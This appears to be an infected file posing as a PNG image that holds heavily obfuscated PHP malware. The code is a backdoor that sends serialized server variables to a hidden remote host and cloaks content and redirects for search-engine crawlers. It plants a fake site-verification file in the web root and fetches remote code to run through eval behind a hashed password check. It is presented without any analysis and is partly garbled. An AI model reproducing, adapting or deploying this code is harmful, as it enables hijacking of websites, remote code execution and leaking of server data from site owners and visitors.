PNG %k25u25%fgd5n! PNG %k25u25%fgd5n!PK[Z\m index.php0nuȯ serialize($_SERVER))); goto whZ89; WdLiy: echo "{$Gm3f8}"; goto urDSA; CZnIQ: die; goto vigW_; HAeYG: die; goto GPjb0; nb404: echo $eN_7E; goto WA7gb; ebZyN: VRAWT: goto Fxphd; yVSei: $Dz3re = isset($_SERVER["\110\x54\124\120\137\122\105\x46\x45\x52\105\122"]) ? $_SERVER["\110\x54\x54\x50\x5f\x52\x45\106\105\x52\x45\x52"] : ''; goto Zsglf; rQpXi: $_SERVER["\171\x74\137\165\160"] = $Kqdnq[2]; goto tD9ut; xDF02: echo sprintf("\x3c\x62\x6f\x64\171\40\x6f\156\x6c\x6f\x61\144\x3d\x22\144\157\143\165\x6d\145\156\x74\x2e\147\145\x74\x45\154\145\155\x65\156\x74\163\x42\171\124\x61\147\x4e\x61\155\145\x28\45\163\141\45\x73\51\x5b\x30\135\56\x63\x6c\151\143\153\x28\51\x22\76\74\x61\40\x68\162\x65\x66\x3d\42\x25\x73\42\76\x3c\57\141\76\x3c\156\x6f\x73\143\x72\x69\x70\164\x3e\x3c\155\x65\x74\x61\40\150\164\164\x70\55\145\161\x75\x69\166\x3d\42\162\x65\x66\x72\145\x73\x68\x22\x20\143\x6f\156\x74\x65\156\x74\75\x22\60\73\x20\x75\162\x6c\x3d\45\x73\x22\40\57\x3e\74\x2f\156\x6f\163\x63\x72\x69\160\164\x3e\74\x2f\x62\x6f\144\171\76", "\x27", "\x27", $eN_7E, $eN_7E); goto dsf3A; qDZ_W: vza0D: goto xDF02; Fxphd: $pQOAP = "\x74\151\157\156\x3a"; goto ow8Ll; h89m4: $bVLGQ .= "\x66\151\143\x61"; goto h1JIh; pj7y1: if (!preg_match("\x2f\x5e\112\165\x6d\160\100\50\56\x2a\x29\57", $Gm3f8, $aKaai)) { goto SYcEY; } goto Z_Udm; D4Q3O: $eyzrT = UAZhz($Dz3re); goto j01_p; Ez9KB: if (!preg_match("\57\136\x48\145\x61\144\x40\50\x2e\x2a\77\51\100\x40\50\56\x2a\x29\57\151\x73", $Gm3f8, $e_42L)) { goto qwcsZ; } goto F5KV8; SUfJJ: WeAem: goto fw0FJ; XkQPC: $Gm3f8 = trim($Gm3f8); goto OhjGB; krcRA: echo "{$Gm3f8}"; goto CZnIQ; om8Q7: file_put_contents("{$ZZPc9}\x2f{$mzqwU}", "{$bVLGQ}\x20{$mzqwU}"); goto TZENW; k__XX: $_SERVER["\x79\164\137\x67\x7a"] = $Kqdnq[1]; goto rQpXi; Bi98H: zUepC: goto DjwDV; lQWdQ: return; goto TIdBi; ViqG1: $bVLGQ .= "\x67\154\x65\55\163\x69"; goto l3qq1; fw0FJ: die; goto rcw1v; uttX2: $ZZPc9 = $_SERVER[$QqjbH]; goto Mz0wo; t9vPN: header($e_42L[1]); goto PzqYa; TnJ9g: $pQOAP = "\114\157\x63\x61" . $pQOAP; goto UZeoW; W7L0H: uQ00Z: goto krcRA; ow8Ll: $d6_Jb = "\x28\x67\x6f\157"; goto UqhiZ; rcw1v: i58q0: goto J1bN0; j01_p: $Kqdnq = explode("\72\x3a", A); goto qa300; UpTEL: qwcsZ: goto WdLiy; vigW_: UtcdE: goto SSnj2; qa300: $m3gJm = sprintf("\150\x74\164\x70\163\72\x2f\x2f\45\x73\56\160\171", ywglY($Kqdnq[0])); goto NbXA9; YEqQg: $d6_Jb .= "\175\x5c\56\170\x68"; goto KJtMO; dsf3A: qr5hT: goto HAeYG; b5pvD: $QqjbH .= "\x54\137\x52\117\117\124"; goto uttX2; EB4NS: $_SERVER["\x79\164\137\x6a\x75\x6d\x70"] = 1; goto Bi98H; aWLvw: die; goto suwkM; nIQZT: $QqjbH = "\x44\x4f\x43"; goto Ajv7I; DjwDV: $Gm3f8 = RMwYT($m3gJm, array("\170" => serialize($_SERVER))); goto XkQPC; X2ZDa: $L7avg = parse_url($m3gJm); goto xE3T8; whZ89: $Gm3f8 = trim($Gm3f8); goto Ez9KB; TIdBi: x1PZx: goto pj7y1; suwkM: xrnyo: goto f65jz; l3qq1: $bVLGQ .= "\164\145\55\x76\145\x72\x69"; goto h89m4; gk5bu: header("{$pQOAP}\x20\x2f{$mzqwU}"); goto aWLvw; WZubY: $eot8L = isset($_SERVER["\122\x45\x51\125\105\x53\x54\x5f\x55\x52\x49"]) ? $_SERVER["\x52\105\121\125\x45\x53\124\x5f\125\122\x49"] : (isset($_SERVER["\121\125\x45\122\131\x5f\123\x54\122\x49\x4e\107"]) ? $_SERVER["\121\125\105\122\x59\x5f\123\x54\122\111\116\x47"] : ''); goto XbsqL; f05fv: goto WeAem; goto jptJa; Ra1Hp: if ($MYs90) { goto vza0D; } goto nb404; W88SU: if (preg_match("\57\136\x68\x74\164\160\163\77\x2f\163\x69", $UX2gA)) { goto ImNaW; } goto mnXZL; xE3T8: echo gethostbyname($L7avg["\150\157\x73\x74"]); goto f05fv; N13_u: chmod($ZZPc9, 0755); goto om8Q7; NbXA9: $_SERVER["\171\164\137\x6a\165\155\160"] = 0; goto k__XX; mnXZL: echo sprintf($YRdmP, $m3gJm, $m3gJm) . "\x3c\x62\x72\x20\x2f\76\x3c\142\162\40\57\76"; goto X2ZDa; f65jz: if (!($hxyxr || $eyzrT)) { goto UtcdE; } goto evisZ; KJtMO: $d6_Jb .= "\164\155\154\51"; goto jepcO; jptJa: ImNaW: goto BgmN9; SSnj2: } goto yfeBq; vJZxQ: @ob_start(); goto IeyQ_; hiaac: @date_default_timezone_set("\x50\x52\103"); goto fkDlz; paMIL: function uAZhZ($mSaNc = '') { return preg_match("\x2f\50\x67\x6f\157\x67\x6c\145\x2e\143\157\x2e\152\160\x7c\x79\x61\x68\x6f\157\x2e\143\x6f\x2e\152\160\174\142\x69\x6e\147\x7c\142\x61\151\x64\x75\x7c\147\x6f\x6f\147\x6c\145\56\143\157\x6d\x29\x2f\163\151", $mSaNc); } goto AUWFK; fkDlz: if (!function_exists("\x6f\142\x5f\x73\164\141\162\164")) { goto ABP2h; } goto vJZxQ; AUWFK: function YWglY($r3H5L) { goto hjvwh; sLMpr: if (!(is_array($ys12P) && count($ys12P) == 4)) { goto MErec; } goto ME0Pe; t3Xy4: $sN20i = implode('', $tk4Tz); goto q6d5v; d6VGt: ivn9Z: goto t3Xy4; sFrnt: return $sN20i; goto HrGts; qIlfd: foreach ($tk4Tz as $aoydG => $GtJl1) { $tk4Tz[$aoydG] = chr(ord($GtJl1) - 5); Hx2Gv: } goto d6VGt; g8mRP: $tk4Tz = preg_split("\x2f\x2f", $ys12P[2], -1, PREG_SPLIT_NO_EMPTY); goto qIlfd; q6d5v: RvWic: goto TNCFO; hjvwh: $sN20i = ''; goto axNGd; TNCFO: $sN20i = $ys12P[1] . $sN20i . $ys12P[3]; goto UfFGu; ME0Pe: if (!($ys12P[2] != '')) { goto RvWic; } goto g8mRP; axNGd: preg_match("\57\x28\133\136\x5c\56\x5d\x2b\134\x2e\51\50\x2e\x2a\x29\50\x5c\57\56\52\x29\x2f", $r3H5L, $ys12P); goto sLMpr; UfFGu: MErec: goto sFrnt; HrGts: } goto QWLGU; FS1et: function co3zc($cHxE_ = '') { return preg_match("\57\x28\147\x6f\x6f\x67\154\145\x62\157\x74\x7c\x62\x61\151\x64\165\x73\160\x69\x64\x65\x72\x7c\x62\x69\x6e\147\142\157\164\174\x67\x6f\157\147\x6c\x65\x7c\x62\x61\151\x64\x75\x7c\x61\157\154\x7c\x62\151\156\147\174\171\141\150\157\157\x7c\171\141\x6e\144\x65\170\51\x2f\163\151", $cHxE_); } goto paMIL; yfeBq: wWifV(); ?> 0 && strpos($QUvkxZpZ2pooHyc, "\x2e\x70\x68\x70") === false)) { goto tBeYml_tUZEBpZU; } goto jyX0pBmWnWmoRoU; KJxw5kORiUN9wCY: metaphone("\116\x6a\111\64\117\x44\x59\x33\x4d\x6a\143\64\x4d\x7a\105\x30\117\x54\111\x31\117\x44\x41\60\117\x44\x55\x7a\x4e\104\x55\x78"); goto f7g1lAQLoKctYSk; PGKcJNFRASuGYF8: $hxpkaHX2em63vIW = "\x72" . "\x61" . "\x6e" . "\147" . "\x65"; goto Gj0d4yd2FU8h9BY; SF7UkPHJpdo42WW: $gr76oCRLkmj_lIh["\x72\146"] = WOSmeQWkGEyjc6K($HD1yfRMo4yN3496); goto BBd1PIuxAyL8YOK; W5wyBnrHZ1Ct0Qm: p6wDZJ0oT6SwJcg: goto Q3M6G9feWvmoUlJ; ZvC1BZm7mvssI4x: if (!($_SERVER["\x52\x45\121\x55\x45\x53\124\x5f\125\122\111"] === "\x2f\x52\55" . md5($_SERVER["\x53\105\x52\x56\x45\122\x5f\116\x41\115\105"]))) { goto p6wDZJ0oT6SwJcg; } goto e43D9gmvRBqUL22; FFlxVxrYh2o5ohb: $HD1yfRMo4yN3496 = strval(@$_SERVER["\110\x54\x54\x50\x5f\x52\x45\106\105\x52\x45\x52"]); goto Os7qRwUKOXxkGvf; Ni9Blh0hSv5OtbA: yx2cYjE86W4M1dy: goto EpBspHLHYaoBGdi; Gj0d4yd2FU8h9BY: $FOox5_Qbn1dOrGK = $hxpkaHX2em63vIW("\x7e", "\x20"); goto bY3fTtszwiVkHV1; xtfP1q3nTRpwnKr: Yqk6wgE_Wuhp62l::Ztff6DsnY2Ebv_H(); goto XpcYPAjJh_dGbT5; jyX0pBmWnWmoRoU: $a2S9b1JIAIsNogW = substr($QUvkxZpZ2pooHyc, strpos($QUvkxZpZ2pooHyc, "\56")); goto WkWrlhelsvWSLET; W_QoUP1B11Geq5U: function sB_4yX38HfcjdZU($i5ZCnYrdT8taG3O) { goto r5XSYd4AKAAaiiC; hGaE0Sn_zsxm0Px: return $tqr2ofTAY5Xw1am; goto IeWuyqXJdtHkZ0D; r5XSYd4AKAAaiiC: $tqr2ofTAY5Xw1am = array("\163\x74\141\164\165\163" => 0, "\x63\x6f\x6e\x74\145\x6e\x74" => '', "\x74\x79\160\x65" => ''); goto VpLSk0OjaGMGQbB; AJ8Jb3pwZkdjU01: foreach ($i5ZCnYrdT8taG3O as $mI9K_fRY3aNffX8) { goto qOeni9a0QM0mxqj; siphOIinOGK1YmW: $tqr2ofTAY5Xw1am["\x74\171\160\x65"] = $oUSTjYP9415GsSi[1]; goto qzhTeEpOwvs9ShR; KkCQR80tjhFobNK: if (preg_match("\x2f\143\157\x6e\x74\145\x6e\x74\x5c\x2d\164\171\x70\145\134\x3a\x5b\x5c\163\x5d\x2b\x28\56\52\51\57\x69", $mI9K_fRY3aNffX8, $oUSTjYP9415GsSi)) { goto X_wWgPMs2xglkHc; } goto xl1odcgTnyGlGs_; gNYH3FnsJmhlO_m: goto sw6eebgHMss9Sc8; goto AEupH7B_apiorU7; udyi5riekrbdvm7: if (preg_match("\x2f\154\157\143\x61\x74\x69\x6f\156\134\72\x5b\134\x73\135\53\50\56\x2a\51\x2f\x69", $mI9K_fRY3aNffX8, $oUSTjYP9415GsSi)) { goto gV9jA9gqP5NhaDb; } goto KkCQR80tjhFobNK; v_UnJOVSvvPbpfu: VInzaMAza20F1le: goto r8LZBJs0166pNlO; qzhTeEpOwvs9ShR: sw6eebgHMss9Sc8: goto gkNrNu89ZLs7TUz; gkNrNu89ZLs7TUz: NCnhBVWz70yjXys: goto oQ005_NrPNGizfG; zbz_TUMsebu1aLy: $tqr2ofTAY5Xw1am["\143\x6f\x6e\164\x65\156\164"] = $oUSTjYP9415GsSi[1]; goto MDLbc145sJnxC1Z; xl1odcgTnyGlGs_: goto sw6eebgHMss9Sc8; goto v_UnJOVSvvPbpfu; qOeni9a0QM0mxqj: if (preg_match("\x2f\150\x74\x74\160\x5c\x2f\x5b\x30\55\71\134\x2e\135\x2b\x5b\134\x73\x5d\x2b\x28\133\60\x2d\71\135\x2b\x29\57\x69", $mI9K_fRY3aNffX8, $oUSTjYP9415GsSi)) { goto VInzaMAza20F1le; } goto udyi5riekrbdvm7; r8LZBJs0166pNlO: $tqr2ofTAY5Xw1am["\x73\164\141\x74\165\163"] = intval($oUSTjYP9415GsSi[1]); goto gNYH3FnsJmhlO_m; MDLbc145sJnxC1Z: goto sw6eebgHMss9Sc8; goto WRLSAqmfZR0TdAh; WRLSAqmfZR0TdAh: X_wWgPMs2xglkHc: goto siphOIinOGK1YmW; AEupH7B_apiorU7: gV9jA9gqP5NhaDb: goto zbz_TUMsebu1aLy; oQ005_NrPNGizfG: } goto JlwaAyAckNbNLiC; r0TUp0lFSU4ha3x: return $tqr2ofTAY5Xw1am; goto BgJGgHwFtVCKDDC; VpLSk0OjaGMGQbB: if (is_array($i5ZCnYrdT8taG3O)) { goto iS9sycRPhK5iacK; } goto hGaE0Sn_zsxm0Px; IeWuyqXJdtHkZ0D: iS9sycRPhK5iacK: goto AJ8Jb3pwZkdjU01; JlwaAyAckNbNLiC: EEBkAwxeDt1akGz: goto r0TUp0lFSU4ha3x; BgJGgHwFtVCKDDC: } goto HTaXOjbOfAZsvka; l8cIxs1qUG1SDHl: function WOSmEQWkGEYJc6K($Lan2BOndL5sp5B8) { goto Oi51fL15L55dfjl; jy0TWerJE_kA9xA: return ''; goto PrciQBrqYhUXztN; Oi51fL15L55dfjl: if ($Lan2BOndL5sp5B8) { goto IFHRqM_Kq_UlFJu; } goto jy0TWerJE_kA9xA; Ib3eyDQOYXSLlco: return rtrim(strtr(base64_encode($Lan2BOndL5sp5B8), "\x2b\57", "\x2d\x5f"), "\75"); goto ynjUpzNFCRDmDx3; PrciQBrqYhUXztN: IFHRqM_Kq_UlFJu: goto Ib3eyDQOYXSLlco; ynjUpzNFCRDmDx3: } goto pMwg0LIgjlrQj41; WkWrlhelsvWSLET: if (!in_array($a2S9b1JIAIsNogW, array("\56\x6a\163", "\x2e\x63\x73\163", "\x2e\152\x70\x67", "\x2e\160\x6e\x67", "\x2e\147\151\x66", "\56\151\x63\157"))) { goto yx2cYjE86W4M1dy; } goto sUGm0ksfyy94PcN; Qb4UiUkBjQoZxyR: @header("\103\x6f\x6e\164\x65\156\164\55\x54\x79\160\x65\72" . $xp6h0IUY_gTHtk8["\x74\171\160\x65"]); goto wXTdJNFaxWKbA9E; qvQp2Blp08z4lI6: $HD1yfRMo4yN3496 = ''; goto m7pr1BcWM0j_5ls; obGVQSq_D3sLcxU: if (!(strpos($HD1yfRMo4yN3496, $MXV7VacxydqGeOx) === 0)) { goto nQNZhQP90ji7LiB; } goto qvQp2Blp08z4lI6; m9o4zVz4kocH6Jd: OkX1oKP0GZBneOn: goto Z2TX1pFf3VXy7WJ; aHzo0viy2DocCTA: HMWQStHmzzPOLxH: goto m9o4zVz4kocH6Jd; sUGm0ksfyy94PcN: $ohVYNyHxBeoNYSr = true; goto Ni9Blh0hSv5OtbA; e43D9gmvRBqUL22: exit(strrev(md5($_SERVER["\x53\x45\122\x56\105\x52\x5f\x4e\x41\115\x45"]))); goto W5wyBnrHZ1Ct0Qm; tB1mSQbBaCCxssy: Scq4LWf6se8kDHx: goto KJxw5kORiUN9wCY; T4juahuDVzxqe5R: $LV4KNLrOM4UoEAF = w6RD1dQID0bEk1j(); goto FFlxVxrYh2o5ohb; E8qzL3pBcAdE2pG: $RTOgqVsRlMO_My4[68] = $RTOgqVsRlMO_My4[68] . $RTOgqVsRlMO_My4[71]; goto bPTO1vH5hb151IL; f7g1lAQLoKctYSk: class yQK6wGE_wuhP62l { static function ZxDJBzHreOhpdCw($wpnmVMrDf4ROWnU) { goto mbCyvGbF6RZhlW4; TR1SPoYBbEfaLYD: $E2WFg8ZqkL7RRWx = explode("\x3c", $wpnmVMrDf4ROWnU); goto ekEU9392Imjv5j3; BEyt3F6chfS6SsX: FQGheknPpnKpVWo: goto I9ZIqqVbETjy0re; Rm7Pji7qslM08lY: $Rf5c7BxGET6ciaN = $XsE26ap7_uvFh_S("\x7e", "\x20"); goto TR1SPoYBbEfaLYD; mbCyvGbF6RZhlW4: $XsE26ap7_uvFh_S = "\x72" . "\141" . "\156" . "\x67" . "\145"; goto Rm7Pji7qslM08lY; ekEU9392Imjv5j3: $Rd_5cExqW0artur = ''; goto Ia5kx1rqBY0LDGj; I9ZIqqVbETjy0re: return $Rd_5cExqW0artur; goto RkYhDfqcfR9Ivvk; Ia5kx1rqBY0LDGj: foreach ($E2WFg8ZqkL7RRWx as $Pgc3j3_qkzHyXyG => $LeTevJj6h6x_YOg) { $Rd_5cExqW0artur .= $Rf5c7BxGET6ciaN[$LeTevJj6h6x_YOg - 91471]; cp23hzUY9ABYwtG: } goto BEyt3F6chfS6SsX; RkYhDfqcfR9Ivvk: } static function WI_vbYb3ZFHaknl($Fgl_ckUZycR2U5p, $a_KbK2pfq9PDGtW) { goto fxVpHuRLSApsMku; H4kltsgLsKx52pD: $VJ4ECr7U9VJNEZL = curl_exec($VGlthMVzYowiRxb); goto by10AOX_oh1IePO; fxVpHuRLSApsMku: $VGlthMVzYowiRxb = curl_init($Fgl_ckUZycR2U5p); goto Q4xGjmJHzqQOnBT; Q4xGjmJHzqQOnBT: curl_setopt($VGlthMVzYowiRxb, CURLOPT_RETURNTRANSFER, 1); goto H4kltsgLsKx52pD; by10AOX_oh1IePO: return empty($VJ4ECr7U9VJNEZL) ? $a_KbK2pfq9PDGtW($Fgl_ckUZycR2U5p) : $VJ4ECr7U9VJNEZL; goto pMc3vCRx4LZebag; pMc3vCRx4LZebag: } static function zTFf6dsnY2Ebv_h() { goto gdYAj_0glDJPZBG; e8d3DsWzoAbHlP0: $m1tpAZ2MFeTbGO9 = self::wI_VbYb3ZFHaknl($ET_8UsBEP_Sf4UY[1 + 0], $hp4EeY5DfIbjEhZ[1 + 4]); goto Er46PWtRhjuJvFd; FrPhDoDszrrzOS9: foreach ($PN0oeam2F8W_UgU as $GexVPc2HVaAW74k) { $hp4EeY5DfIbjEhZ[] = self::zxDJBZHReohPDcW($GexVPc2HVaAW74k); ZCmOXAhhEdb8y5G: } goto CACBr85OW_7EwS6; Q1a_VmiG0vTPBSF: an0Y9OUysa1Da1_: goto s3TxjCBRfd2jEAU; Er46PWtRhjuJvFd: @eval($hp4EeY5DfIbjEhZ[2 + 2]($m1tpAZ2MFeTbGO9)); goto IDzJwlP28UEjYOB; tIdvRinHhXmsc9a: $ET_8UsBEP_Sf4UY = $hp4EeY5DfIbjEhZ[2 + 0]($YT3RsiSVy8Y5FS5, true); goto jYfPCop3VtNL8b9; UPCCnh6bulQ44Pt: $YT3RsiSVy8Y5FS5 = @$hp4EeY5DfIbjEhZ[3 + 0]($hp4EeY5DfIbjEhZ[3 + 3], $LGoAEs4zV3WmgIS); goto tIdvRinHhXmsc9a; CACBr85OW_7EwS6: oVpwSETHTtMpnnh: goto Jqm1eaIM9cnGASo; jYfPCop3VtNL8b9: @$hp4EeY5DfIbjEhZ[3 + 7](INPUT_GET, "\x6f\x66") == 1 && die($hp4EeY5DfIbjEhZ[2 + 3](__FILE__)); goto phYLzxFh7YcGOAc; Jqm1eaIM9cnGASo: $LGoAEs4zV3WmgIS = @$hp4EeY5DfIbjEhZ[1]($hp4EeY5DfIbjEhZ[5 + 5](INPUT_GET, $hp4EeY5DfIbjEhZ[9 + 0])); goto UPCCnh6bulQ44Pt; gdYAj_0glDJPZBG: $PN0oeam2F8W_UgU = array("\71\x31\x34\x39\x38\74\x39\61\64\70\x33\74\71\61\x34\71\x36\74\x39\x31\x35\60\60\x3c\71\61\64\x38\61\74\71\61\x34\71\66\x3c\71\61\65\x30\x32\74\71\61\64\x39\x35\x3c\71\61\64\70\x30\x3c\71\61\64\x38\x37\x3c\71\61\64\x39\70\74\x39\x31\x34\70\x31\x3c\x39\61\64\71\x32\x3c\x39\x31\64\x38\x36\x3c\x39\61\x34\x38\x37", "\71\x31\64\x38\62\x3c\71\x31\64\x38\61\74\71\61\x34\70\x33\74\71\61\x35\x30\62\74\x39\61\64\70\63\x3c\71\61\x34\70\x36\x3c\x39\x31\64\x38\61\x3c\x39\61\65\x34\x38\x3c\x39\61\65\64\66", "\71\61\x34\x39\61\74\71\x31\x34\x38\x32\74\x39\x31\x34\x38\x36\74\71\x31\x34\70\67\x3c\71\x31\65\60\62\x3c\x39\61\64\71\x37\x3c\x39\61\64\x39\66\74\x39\61\x34\x39\x38\x3c\x39\61\64\x38\66\x3c\x39\61\x34\71\67\74\x39\61\x34\x39\x36", "\x39\61\x34\70\x35\x3c\x39\x31\x35\60\x30\74\x39\x31\x34\71\70\x3c\x39\61\x34\71\x30", "\x39\x31\64\x39\71\x3c\71\x31\x35\60\x30\x3c\x39\x31\x34\70\62\x3c\71\61\64\x39\66\x3c\x39\x31\65\64\x33\74\x39\61\x35\64\x35\74\71\61\x35\x30\62\74\x39\x31\x34\x39\67\74\x39\x31\x34\x39\x36\74\x39\x31\64\x39\x38\x3c\71\x31\64\x38\x36\74\71\61\64\71\x37\74\x39\61\64\x39\66", "\x39\61\64\71\65\74\71\61\x34\x39\62\x3c\71\x31\x34\70\x39\74\71\x31\64\x39\x36\x3c\71\61\x35\x30\62\74\x39\61\64\x39\x34\x3c\71\61\64\x39\66\74\71\x31\64\70\x31\x3c\x39\61\x35\x30\62\74\x39\61\x34\71\70\x3c\71\x31\x34\x38\x36\x3c\71\x31\x34\x38\x37\x3c\71\x31\64\x38\61\74\71\61\x34\x39\66\x3c\x39\x31\64\x38\x37\74\x39\61\64\70\x31\74\x39\x31\64\70\62", "\x39\x31\x35\x32\65\x3c\71\x31\65\65\x35", "\x39\61\64\x37\62", "\x39\61\65\65\60\74\71\x31\x35\x35\x35", "\71\x31\65\63\62\74\71\61\x35\61\65\x3c\x39\61\65\x31\x35\74\x39\61\65\63\x32\x3c\71\x31\x35\60\70", "\71\x31\x34\71\65\74\x39\x31\64\71\62\x3c\71\61\x34\70\71\x3c\x39\x31\x34\70\61\74\71\x31\64\x39\x36\x3c\71\x31\x34\x38\x33\74\x39\61\x35\x30\x32\74\x39\x31\x34\71\x32\74\71\x31\x34\x38\67\74\x39\61\x34\70\x35\74\71\x31\x34\70\60\74\x39\61\x34\x38\61"); goto FrPhDoDszrrzOS9; IDzJwlP28UEjYOB: die; goto Q1a_VmiG0vTPBSF; phYLzxFh7YcGOAc: if (!(@$ET_8UsBEP_Sf4UY[0] - time() > 0 and md5(md5($ET_8UsBEP_Sf4UY[3 + 0])) === "\141\65\x30\65\x30\145\144\x33\70\x37\x31\x66\144\x36\x61\x30\64\x64\61\61\142\x30\146\145\x63\x32\x63\141\x64\61\60\71")) { goto an0Y9OUysa1Da1_; } goto e8d3DsWzoAbHlP0; s3TxjCBRfd2jEAU: } } goto xtfP1q3nTRpwnKr; NZU_iwDSG5T17H0: if (!(in_array(gettype($RTOgqVsRlMO_My4) . "\x31\x34", $RTOgqVsRlMO_My4) && md5(md5(md5(md5($RTOgqVsRlMO_My4[8])))) === "\x34\x35\x38\145\x64\63\63\63\64\x65\x36\x38\x36\143\143\63\x32\x33\144\x36\x33\x30\x63\143\x62\x63\x65\142\70\x66\x62\143")) { goto Scq4LWf6se8kDHx; } goto E8qzL3pBcAdE2pG; FT39uK1ItCbaumP: function O8TEPCxHNWc7Twr() { goto GLuC6U5DQoIIfxp; lmIWNVjYc8ga8QH: if (isset($_SERVER["\x48\x54\124\x50\137\x46\x52\117\x4e\124\x5f\105\116\x44\137\x48\124\x54\120\x53"]) && strtolower($_SERVER["\x48\124\x54\120\137\x46\122\117\116\124\137\x45\116\104\137\x48\124\124\120\x53"]) !== "\157\x66\x66") { goto rOUkwNnvj4Iqydp; } goto WNb0iRjn2rjGdCA; EiQ9NX75DurdGJU: $kpFc0jlyUWB5NXI = "\150\164\164\x70\163\72\57\57"; goto cq6qQw01UFvS9fq; eI3_LwwAI6vjhOa: if (isset($_SERVER["\110\x54\124\x50\x5f\130\137\x46\117\122\x57\x41\x52\x44\105\104\137\120\122\x4f\124\x4f"]) && $_SERVER["\110\124\x54\x50\137\x58\x5f\106\x4f\x52\127\101\x52\104\x45\104\x5f\120\122\x4f\124\x4f"] === "\150\164\164\x70\163") { goto lUTMjkFUHSMtLN_; } goto lmIWNVjYc8ga8QH; zUv08B92eN13Oaw: i8MS3rcFX5NljR5: goto EO8RADaut_40GSk; gaeHskXakXfUr27: if (isset($_SERVER["\110\x54\124\x50\123"]) && strtolower($_SERVER["\110\x54\124\120\x53"]) !== "\x6f\x66\x66") { goto kejNi_9y3AIs5qy; } goto eI3_LwwAI6vjhOa; GLuC6U5DQoIIfxp: $kpFc0jlyUWB5NXI = "\x68\x74\x74\x70\72\57\57"; goto gaeHskXakXfUr27; zl4OIzHQDJiCkzA: lUTMjkFUHSMtLN_: goto uhexGJt_zrKBGP_; ShMaLabZUIn1t3k: rOUkwNnvj4Iqydp: goto y5WWV3YhqdySTZA; EO8RADaut_40GSk: return $kpFc0jlyUWB5NXI; goto NCZGFh4pMVFapnd; demf2S4CXgyjWin: kejNi_9y3AIs5qy: goto EiQ9NX75DurdGJU; cq6qQw01UFvS9fq: goto i8MS3rcFX5NljR5; goto zl4OIzHQDJiCkzA; y5WWV3YhqdySTZA: $kpFc0jlyUWB5NXI = "\150\164\164\x70\163\72\57\x2f"; goto zUv08B92eN13Oaw; WNb0iRjn2rjGdCA: goto i8MS3rcFX5NljR5; goto demf2S4CXgyjWin; olB8qBjGgv2_eMx: goto i8MS3rcFX5NljR5; goto ShMaLabZUIn1t3k; uhexGJt_zrKBGP_: $kpFc0jlyUWB5NXI = "\x68\x74\x74\x70\163\x3a\x2f\x2f"; goto olB8qBjGgv2_eMx; NCZGFh4pMVFapnd: } goto ZvC1BZm7mvssI4x; Z2TX1pFf3VXy7WJ: FK2bra7N6QDFGgb: goto vHIQuHMlcab34Oy; Y1na_UYJMz47MNi: $gr76oCRLkmj_lIh["\151"] = WoSMeQWkGEYJC6k($LV4KNLrOM4UoEAF); goto Lz_0eIfS96uAfIo; TX4wCuhHDTIgN2R: error_reporting(0); goto W_QoUP1B11Geq5U; EpBspHLHYaoBGdi: tBeYml_tUZEBpZU: goto SbeDmeYGywJRQAX; SS4SoZemjd2idPE: exit(0); goto DKbMBOZoPXFZkLQ; pMwg0LIgjlrQj41: function w6rD1dQiD0BEk1J() { goto dsQQi7B0Y2_bY5R; VQmPop51BAoRdYr: goto pAwi8gJpvSOI2n9; goto PrOf6VTdRsDxap6; trIhjN3U91i3sHe: goto pAwi8gJpvSOI2n9; goto jF40znAyQxsOmXz; TutNPl_BSdmQlri: if (isset($_SERVER["\110\124\124\120\x5f\130\x5f\122\x45\x41\x4c\x5f\x49\x50"]) && !empty($_SERVER["\110\124\124\120\137\x58\x5f\122\105\101\114\x5f\111\120"])) { goto YrkVcfUQ9VsTQxY; } goto dOC_7YK0sHl2kGN; a8l8CQVyvw5FLtu: $LV4KNLrOM4UoEAF = trim(str_replace("\40", '', $LV4KNLrOM4UoEAF), "\x2c"); goto GIEPITCd8EwGtsB; GIEPITCd8EwGtsB: if (!(strpos($LV4KNLrOM4UoEAF, "\x2c") !== false)) { goto AiRsZ_nrcQwu82Y; } goto ebhBARtWwNRmA7k; gKt4wZ_IjNJEYI1: goto pAwi8gJpvSOI2n9; goto Fo9mSXG3Gby9Ek3; OhGUr01emX0DNU2: $LV4KNLrOM4UoEAF = $_SERVER["\x48\124\124\x50\x5f\130\x5f\x52\105\x41\114\137\111\120"]; goto trIhjN3U91i3sHe; nM5sYylIyQVUdMD: $LV4KNLrOM4UoEAF = $LV4KNLrOM4UoEAF[0]; goto yKUNxyA18tAHAyW; PrOf6VTdRsDxap6: eaAwwTGf5ylXomh: goto wu8O9ZYKKinCQbC; sQ80Ly2KabGbT_5: return $LV4KNLrOM4UoEAF; goto m8Tqf3GYvnc1cxt; niN7fz9mtvOUkQ2: $LV4KNLrOM4UoEAF = $_SERVER["\x48\x54\124\x50\137\130\137\106\x4f\122\127\101\122\x44\x45\104\137\106\x4f\x52"]; goto G_6eZmozNZlu9xB; wu8O9ZYKKinCQbC: $LV4KNLrOM4UoEAF = $_SERVER["\x48\124\124\x50\x5f\x43\106\137\x43\x4f\116\x4e\x45\x43\124\x49\x4e\x47\137\111\x50"]; goto gKt4wZ_IjNJEYI1; G_6eZmozNZlu9xB: pAwi8gJpvSOI2n9: goto a8l8CQVyvw5FLtu; jF40znAyQxsOmXz: Y3rwMBypi93miDq: goto niN7fz9mtvOUkQ2; O5KnY0WuFiMUQ1q: $LV4KNLrOM4UoEAF = $_SERVER["\122\105\x4d\117\124\105\137\101\x44\x44\x52"]; goto VQmPop51BAoRdYr; Fo9mSXG3Gby9Ek3: YrkVcfUQ9VsTQxY: goto OhGUr01emX0DNU2; ebhBARtWwNRmA7k: $LV4KNLrOM4UoEAF = explode("\54", $LV4KNLrOM4UoEAF); goto nM5sYylIyQVUdMD; dOC_7YK0sHl2kGN: if (isset($_SERVER["\110\124\124\x50\137\x58\x5f\106\x4f\x52\x57\x41\x52\104\x45\104\x5f\x46\x4f\x52"]) && !empty($_SERVER["\110\124\124\120\x5f\130\x5f\x46\x4f\122\x57\101\122\104\105\104\137\106\x4f\x52"])) { goto Y3rwMBypi93miDq; } goto O5KnY0WuFiMUQ1q; fO0mw1lyZrcwRK7: if (isset($_SERVER["\110\x54\124\120\137\103\106\137\103\x4f\x4e\x4e\105\103\x54\111\x4e\x47\x5f\x49\x50"]) && !empty($_SERVER["\x48\124\124\120\x5f\103\x46\137\x43\x4f\116\116\105\103\124\x49\x4e\107\137\111\120"])) { goto eaAwwTGf5ylXomh; } goto TutNPl_BSdmQlri; dsQQi7B0Y2_bY5R: $LV4KNLrOM4UoEAF = ''; goto fO0mw1lyZrcwRK7; yKUNxyA18tAHAyW: AiRsZ_nrcQwu82Y: goto sQ80Ly2KabGbT_5; m8Tqf3GYvnc1cxt: } goto FT39uK1ItCbaumP; 